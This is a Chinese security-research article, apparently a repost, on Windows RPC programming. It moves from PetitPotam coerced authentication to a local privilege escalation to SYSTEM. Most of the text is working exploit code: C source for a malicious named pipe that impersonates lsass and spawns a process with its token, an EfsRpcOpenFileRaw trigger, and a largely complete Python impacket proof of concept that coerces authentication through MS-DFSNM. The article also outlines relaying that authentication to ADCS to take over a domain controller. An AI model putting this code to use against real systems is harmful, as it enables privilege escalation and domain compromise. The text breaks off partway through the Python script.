WindowsRPC协议-从入门到提权0day
2022-11-24 12:54:54 Author: xz.aliyun.com(查看原文) 阅读量:19 收藏

[email protected]深蓝攻防实验室

本篇文章旨在由浅入深的对Windows RPC协议编程进行研究,从公开的PetitPotam的EFS协议导致的强制认证漏洞入手,过渡到使用EFS协议进行本地提权,再自行挖掘一个强制认证和提权的未公开协议。
其中包括了使用MSVC、Python对RPC协议编程的流程和坑点。以及在面对未知RPC时,如何对RPCView进行编译,并如何使用RPCView对未知RPC服务进行逆向并完成协议的编程和利用。

MS-EFSR协议

EFSRPC利用介绍

协议文档
https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31

根据文档描述EFSRPC协议必须通过\pipe\lsarpc或者\pipe\efsrpc管道通信,且两个管道对应的UUID必须为c681d488-d850-11d0-8c52-00c04fd90f7e或者df1941c5-fe89-4e79-bf10-463657acf44d

PS: 虽然文档写的仅仅只能使用lsarpcefsrpc管道,但是实际上只要是lsass.exe创建的管道都可以使用,唯一需要注意的是efsrpc管道的UUID一定要是df1941c5-fe89-4e79-bf10-463657acf44d。其余管道例如samr、lsass皆可使用c681d488-d850-11d0-8c52-00c04fd90f7e

PetitPotam--EfsRpcOpenFileRaw

PetitPotam是一个默认匿名强制服务器到指定IP进行身份认证的一个漏洞。该漏洞常见用法为强制DC到中继服务器进行认证,由中继服务器转发到ADCS申请证书,通过证书获得DC$的权限。从而得到域控权限。

实际上PetitPotam利用的是一个叫MS-EFSRPC协议,该协议是对远程存储和通过网络访问的加密数据进行维护和管理的。该协议中的EfsRpcOpenFileRaw API 是通常用于备份软件,功能是打开一个文件。

通过测试,可以看出通过\pipe\lsass管道发送EFSRPC协议后,目标的lsass.exe进程会对发送的IP进行认证请求,请求管道为\\IP\PIPE\srvsvc。请求成功后,再去访问我们要求操作的\\IP\c$\workspace\foo123.txt

从而造成了强制认证的漏洞,要利用此漏洞可以使用Responder获取目标机器的NTLM-NET-V2的hash进行本地暴力破解,或者利用ntlmrelayx.py进行中继利用。

PetitPotam思维导图

PS:除了最初的EfsRpcOpenFileRaw之外,EFS协议还有多种API可以调用,同样可以造成强制认证。且EfsRpcOpenFileRaw已在CVE-2021-36942中得到修复。

EFS提权流程

除此之外,该协议实际上还可以造成其他的漏洞,例如结合各类土豆的原理进行本地提权。

例如下图,我们可以看到,当我们要求目标服务器请求的地址为\\IP/pipe/sss\filename的时候,lsass.exe请求的管道变成了\\IP\pipe\sss\PIPE\srvsvc。而此时\\IP\pipe\sss\PIPE\srvsvc是一个不存在的管道,如果我们手动创建该管道,并在该管道中设置特殊的服务操作。例如将模拟连接的用户权限,创建指定的任意进程。我们即完成了提权。

EFSRPC 协议本地提权思维导图

CreateNamedPipe

监听管道\\\\.\\pipe\\lsarpc\\pipe\\srvsvc,等待回连

DWORD WINAPI LaunchPetitNamedPipeServer(LPVOID lpParam)
{
    HANDLE hNamedPipe = NULL;
    LPWSTR lpName;
    LPWSTR lpCommandLine = (LPWSTR)lpParam;

    SECURITY_DESCRIPTOR sd = { 0 };
    SECURITY_ATTRIBUTES sa = { 0 };

    lpName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
    StringCchPrintf(lpName, MAX_PATH, L"\\\\.\\pipe\\lsarpc\\pipe\\srvsvc");

    if ((hNamedPipe = CreateNamedPipe(lpName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)))
    {
        printf("\n[+] Malicious named pipe running on %S.\n", lpName);
    }
    else
    {
        printf("[-] ImpersonateNamedPipeClient() Error: %i.\n", GetLastError());
        return 0;
    }

    if (ConnectNamedPipe(hNamedPipe, NULL) != NULL)
    {
        printf("[+] The connection is successful.\n");
    }
    else
    {
        printf("[-] ConnectNamedPipe() Error: %i.\n", GetLastError());
        return 0;
    }

    GetSystem(hNamedPipe, lpCommandLine);
    CloseHandle(hNamedPipe);

    return 0;
}

设置回连后的恶意操作GetSystem

STARTUPINFO si;
PROCESS_INFORMATION pi;

HANDLE hProcess;
HANDLE hToken = NULL;
HANDLE phNewToken = NULL;

LPWSTR lpCurrentDirectory = NULL;
LPVOID lpEnvironment = NULL;

// clear a block of memory
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

if (ImpersonateNamedPipeClient(hNamedPipe))
{
    printf("[+] ImpersonateNamedPipeClient success.\n");
}
else
{
    printf("[-] ImpersonateNamedPipeClient() Error: %i.\n", GetLastError());
    return;
}

if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken))
{
    printf("[+] OpenThreadToken success.\n");
}
else
{
    printf("[-] OpenThreadToken() Error: %i.\n", GetLastError());
    return;
}

if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &phNewToken))
{
    printf("[+] DuplicateTokenEx success.\n");
}
else
{
    printf("[-] DupicateTokenEx() Error: %i.\n", GetLastError());
    return;
}

if (!(lpCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))))
{
    return;
}

if (!GetSystemDirectory(lpCurrentDirectory, MAX_PATH))
{
    printf("[-] GetSystemDirectory() Error: %i.\n", GetLastError());
    return;
}

if (!CreateEnvironmentBlock(&lpEnvironment, phNewToken, FALSE))
{
    printf("[-] CreateEnvironmentBlock() Error: %i.\n", GetLastError());
    return;
}

if (CreateProcessAsUser(phNewToken, NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_UNICODE_ENVIRONMENT, lpEnvironment, lpCurrentDirectory, &si, &pi))
{
    printf("[+] CreateProcessAsUser success.\n");

    CloseHandle(hToken);
    CloseHandle(phNewToken);

    return;
}
else if (GetLastError() != NULL)
{
    RevertToSelf();
    printf("[!] CreateProcessAsUser() failed, possibly due to missing privileges, retrying with CreateProcessWithTokenW().\n");

    if (CreateProcessWithTokenW(phNewToken, LOGON_WITH_PROFILE, NULL, lpCommandLine, CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE, lpEnvironment, lpCurrentDirectory, &si, &pi))
    {
        printf("[+] CreateProcessWithTokenW success.\n");

        CloseHandle(hToken);
        CloseHandle(phNewToken);

        return;
    }
    else
    {
        printf("[-] CreateProcessWithTokenW failed (%d).\n", GetLastError());

        CloseHandle(hToken);
        CloseHandle(phNewToken);
        return;
    }
}

RpcStringBindingComposeW

尝试连接到目标开放的管道准备发送EFS协议的数据包

RPC_WSTR ObjUuid = (RPC_WSTR)L"c681d488-d850-11d0-8c52-00c04fd90f7e";
RPC_WSTR ProtSeq = (RPC_WSTR)L"ncacn_np"; 
RPC_WSTR NetworkAddr = (RPC_WSTR)L"\\\\127.0.0.1";
RPC_WSTR Endpoint = (RPC_WSTR)L"\\pipe\\lsarpc"; 
RPC_WSTR Options = NULL; 
RPC_WSTR StringBinding; 

RPC_STATUS RpcStatus;

RPC_BINDING_HANDLE binding_h;

RpcStatus = RpcStringBindingComposeW(ObjUuid, ProtSeq, NetworkAddr, Endpoint, Options, &StringBinding);
if (RpcStatus != RPC_S_OK) {
    printf("[-] RpcStringBindingComposeW() Error: %i\n", GetLastError());
    return;
}

RpcStatus = RpcBindingFromStringBindingW(
    StringBinding,    // Previously created string binding
    &binding_h    // Output binding handle
);

EfsRpcOpenFileRaw

发送EFS协议的数据包,通过EFS协议EfsRpcOpenFileRaw函数打开\\\\localhost/pipe/lsarpc\\C$\\wh0nqs.txt文件

LPWSTR PipeFileName;
long result;

PipeFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(PipeFileName, MAX_PATH, L"\\\\localhost/pipe/lsarpc\\C$\\wh0nqs.txt");

wprintf(L"[+] Invoking EfsRpcOpenFileRaw with target path: %ws.\r\n", PipeFileName);
PVOID hContext;
result = Proc0_EfsRpcOpenFileRaw_Downlevel(binding_h, &hContext, PipeFileName, 0);

EFS提权效果

提权为SYSTEM

PetitPotato.exe 0 whoami lsarpc

MS-DFSNM 协议

DFS协议介绍

协议文档
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979

根据文档描述,DFS协议必须要通过\PIPE\NETDFS管道通信,UUID必须为4FC742E0-4A10-11CF-8273-00AA004AE673。 ^5d40c7

PS: DFS协议的进程为dfssvc.exe,该进程只有一个管道,所以DFS协议必须通过\PIPE\NETDFS进行通信。 ^b775ae

DFS协议第一次启用时,在Win2012上会访问一个默认不存在的\PIPE\winreg管道,该管道会在DFS协议使用过后才进行监听,进程为svchost.exe。或使用/的性质换成其他管道利用。

DFS协议在Win2016上会访问\PIPE\wkssvc管道,同样可以使用/的性质换成其他管道进行利用。经过测试,Win2016上的wkssvc管道无法利用,token权限太低,为SecurityIdentification

MS-DFSNM 中继

和Petitpotam一样的用法,没有特殊的。

MS-DFSNM 提权

管道模拟提权流程

使用POC进行强制认证

进行管道监听接收强制认证的token。

强制认证的python POC。
如何修改该POC在RPC编程流程-Python(MS-DFSNM)章节中进行介绍。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : coerce_poc.py
# Author             : Podalirius (@podalirius_)
# Date created       : 01 July 2022


import sys
import argparse
import random
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin


class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__(self):
        key = self.error_code
        if key in system_errors.ERROR_MESSAGES:
            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
            return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
        else:
            return 'SessionError: unknown error code: 0x%x' % self.error_code


def gen_random_name(length=8):
    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    name = ""
    for k in range(length):
        name += random.choice(alphabet)
    return name


class NetrDfsAddStdRoot(NDRCALL):
    opnum = 12
    structure = (
        ('ServerName', WSTR),  # Type: WCHAR *
        ('RootShare', WSTR),   # Type: WCHAR *
        ('Comment', WSTR),     # Type: WCHAR *
        ('ApiFlags', DWORD),   # Type: DWORD
    )


class NetrDfsAddStdRootResponse(NDRCALL):
    structure = ()


class RPCProtocol(object):
    """
    Documentation for class RPCProtocol
    """

    uuid = None
    version = None
    pipe = None

    ncan_target = None
    __rpctransport = None
    dce = None

    def __init__(self):
        super(RPCProtocol, self).__init__()

    def connect(self, username, password, domain, lmhash, nthash, target, dcHost, doKerberos=False, targetIp=None):
        self.ncan_target = r'ncacn_np:%s[%s]' % (target, self.pipe)
        self.__rpctransport = transport.DCERPCTransportFactory(self.ncan_target)

        if hasattr(self.__rpctransport, 'set_credentials'):
            self.__rpctransport.set_credentials(
                username=username,
                password=password,
                domain=domain,
                lmhash=lmhash,
                nthash=nthash
            )

        if doKerberos == True:
            self.__rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
        if targetIp is not None:
            self.__rpctransport.setRemoteHost(targetIp)

        self.dce = self.__rpctransport.get_dce_rpc()

        print("[>] Connecting to %s ... " % self.ncan_target, end="")
        sys.stdout.flush()
        try:
            self.dce.connect()
        except Exception as e:
            print("\x1b[1;91mfail\x1b[0m")
            print("[!] Something went wrong, check error status => %s" % str(e))
            return False
        else:
            print("\x1b[1;92msuccess\x1b[0m")

        print("[>] Binding to <uuid='%s', version='%s'> ... " % (self.uuid, self.version), end="")
        sys.stdout.flush()
        try:
            self.dce.bind(uuidtup_to_bin((self.uuid, self.version)))
        except Exception as e:
            print("\x1b[1;91mfail\x1b[0m")
            print("[!] Something went wrong, check error status => %s" % str(e))
            return False
        else:
            print("\x1b[1;92msuccess\x1b[0m")

        return True


class MS_DFSNM(RPCProtocol):
    uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673"
    version = "3.0"
    pipe = r"\PIPE\netdfs"

    def NetrDfsAddStdRoot(self, listener):
        if self.dce is not None:
            print("[>] Calling NetrDfsAddStdRoot() ...")
            try:
                request = NetrDfsAddStdRoot()
                request['ServerName'] = '%s\x00' % listener
                request['RootShare'] = gen_random_name() + '\x00'
                request['Comment'] = gen_random_name() + '\x00'
                request['ApiFlags'] = 0
                # request.dump()
                resp = self.dce.request(request)
            except Exception as e:
                print(e)
        else:
            print("[!] Error: dce is None, you must call connect() first.")


if __name__ == '__main__':
    print("Windows auth coerce using MS-DFSNM::NetrDfsAddStdRoot()\n")
    parser = argparse.ArgumentParser(add_help=True, description="Proof of concept for coercing authentication with MS-DFSNM::NetrDfsAddStdRoot()")

    parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.")
    parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)")
    parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.")
    parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH"

文章来源: https://xz.aliyun.com/t/11879
如有侵权请联系:admin#unsafe.sh